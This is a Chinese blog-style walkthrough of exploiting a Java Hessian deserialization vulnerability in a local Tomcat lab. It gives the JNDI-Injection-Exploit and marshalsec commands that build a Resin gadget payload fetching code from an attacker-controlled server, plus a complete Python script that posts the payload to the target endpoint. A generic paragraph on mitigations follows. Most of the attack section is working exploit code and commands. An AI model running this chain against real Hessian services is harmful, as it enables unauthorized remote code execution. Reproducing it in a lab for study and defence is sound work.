Java Hessian反序列化漏洞

漏洞简介

Hessian是一个轻量级的remoting onhttp工具,是一个轻量级的Java序列化/反序列化框架,使用简单的方法提供了RMI的功能。 相比WebService,Hessian更简单、快捷。采用的是二进制RPC协议,因为采用的是二进制协议,所以它很适合于发送二进制数据。

和Java原生的序列化对比,Hessian更加高效并且非常适合二进制数据传输。既然是一个序列化/反序列化框架,Hessian同样存在反序列化漏洞的问题。
对于Hessian反序列化漏洞的利用,使用ysoserial工具的Gadget是无法成功的,而是要用marshalsec工具的Gadget。这是因为ysoserial是针对Java原生反序列化漏洞的,并没有一些如Hessian等非Java原生反序列化漏洞的Gadgets。

环境搭建

https://github.com/wlj-debug/Hessian-Deserialize-RCE
将HessianTest.war放到tomcat/webapp/目录下并启动tomcat
在这里插入图片描述
启动tomcat
在这里插入图片描述
访问:/HessianTest/hessian
在这里插入图片描述
漏洞搭建成功

漏洞复现

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A xx.xx.xx.xx

在这里插入图片描述
直接用marshalsec来生成payload,这里地址指定为JettyServer并在指定恶意执行类为ExecTemplateJDK7:
执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://xxx.xxx.xxx.xxx:8180/ ExecTemplateJDK7>hession

在这里插入图片描述
接下来就是编写脚本将序列化的payload:hession发送到服务器

#!/usr/bin/env python
# coding=utf-8
# code by 21superman
# Date 2018年12月28日
import requests
import argparse


def load(name):
    header=b'\x63\x02\x00\x48\x00\x04'+b'test'
    with open(name,'rb') as f:
        return header+f.read()

def send(url,payload):
    proxies = {'http':'127.0.0.1:8080'}
    headers={'Content-Type':'x-application/hessian'}
    data=payload
    res=requests.post(url,headers=headers,data=data)
    return res.text

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian")
    parser.add_argument("-p",help="payload file")
    args = parser.parse_args()
    if args.u==None or args.p==None:
        print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian')
    else:
        send(args.u, load(args.p))
if __name__ == '__main__':
    main()
    #load('hession')
python3 hessian.py -u http://172.21.1.130:8080/HessianTest/hessian -p hession

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Hessian是一种基于Java的轻量级的远程调用协议,用于实现不同语言之间的通信。而Hessian序列漏洞是指在Hessian协议中,由于不充分的输入验证或者对用户输入数据的不完全信任,导致攻击者可以利用恶意构造的序列数据,执行远程代码。这种漏洞在实际应用中可能会导致严重的安全问题,例如远程命令执行、拒绝服务等。 Hessian序列漏洞的出现与序列序列机制有关。在Java中,对象可以被序列成字节流,然后通过网络传输到另一个系统或者磁盘中,之后再进行序列还原成原始对象。如果序列过程中未对字节流进行充分的验证,恶意用户可以构造特定的字节流,以实现执行恶意代码的目的。 为了防范Hessian序列漏洞,开发人员应该对用户输入进行完全的信任验证,采取严格的输入验证,禁止远程代码执行。另外,可以采用安全的序列序列机制,例如对序列的数据进行数字签名或者加密,以确保数据的完整性和安全性。 在应对Hessian序列漏洞时,开发团队应该及时更新相关的安全补丁,对可能存在漏洞的系统进行全面审查,修复潜在的安全问题,同时也应做好监控和日志记录工作,及时发现并应对可能的攻击行为。保护系统安全需要全员的努力,包括开发人员、安全专家和运维团队,共同为系统的安全稳定保驾护航。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值